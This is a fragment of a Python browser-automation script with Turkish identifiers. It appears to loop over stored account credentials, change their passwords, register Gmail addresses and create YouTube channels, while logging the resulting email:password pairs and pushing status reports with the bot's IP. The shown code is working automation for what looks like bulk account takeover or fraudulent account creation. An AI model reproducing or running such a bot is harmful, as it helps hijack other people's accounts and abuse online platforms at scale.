1147 try:
1148 if(not "@gmail.com" in text):
1149 addToOzel(info)
1150 failC += 1
1151 endSession()
1152 continue
1153 except:
1154 pass
1155
1156 newPass = changeAccountInfo(password, newPass, text)
1157
1158 elif(flag==2):
1159 gmail = registerGmail(randName, randSname, 0)
1160
1161 goToEditSecond()
1162 text = getBody()
1163
1164 try:
1165 if(not "@gmail.com" in text):
1166 addToOzel(info)
1167 failC += 1
1168 endSession()
1169 continue
1170 except:
1171 pass
1172
1173 newPass = changeAccountInfo(password, newPass, text)
1174 elif(flag == 4):
1175 addToCop(info)
1176 failC += 1
1177 endSession()
1178 continue
1179 else:
1180 addToTekrar(info)
1181 endSession()
1182 continue
1183
1184 else:
1185 url = getUrl()
1186 if("mail/" in url
1187 or "inbox" in url):
1188 gmail = manuel(password, newPass)
1189 g = gmail.split(":")
1190 gmail = g[0]
1191 newPass = g[1]
1192 else:
1193 print("-----RAPOR EDILMELI!!!!")
1194 addToOzel(info)
1195 endSession()
1196 continue
1197
1198 time.sleep(5)
1199 pyautogui.hotkey('alt', 'f4')
1200 try:
1201 driver = setYoutubeDriver()
1202 loginYoutube(str(gmail), newPass)
1203 text = getBody()
1204 if not "The email and password" in text:
1205 createYoutube(str(gmail), newPass)
1206 info = str(gmail) + ":" + newPass
1207 addToGmail(info)
1208 sucC += 1
1209 endSession()
1210 continue
1211 except:
1212 try:
1213 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1214 except:
1215 pass
1216 try:
1217 driver.close()
1218 except:
1219 pass
1220 try:
1221 info = str(gmail) + ":" + newPass
1222 addToGmail(info)
1223 except:
1224 pass
1225 sucC += 1
1226 endSession()
1227
1228 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1229except Exception as e:
1230 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1231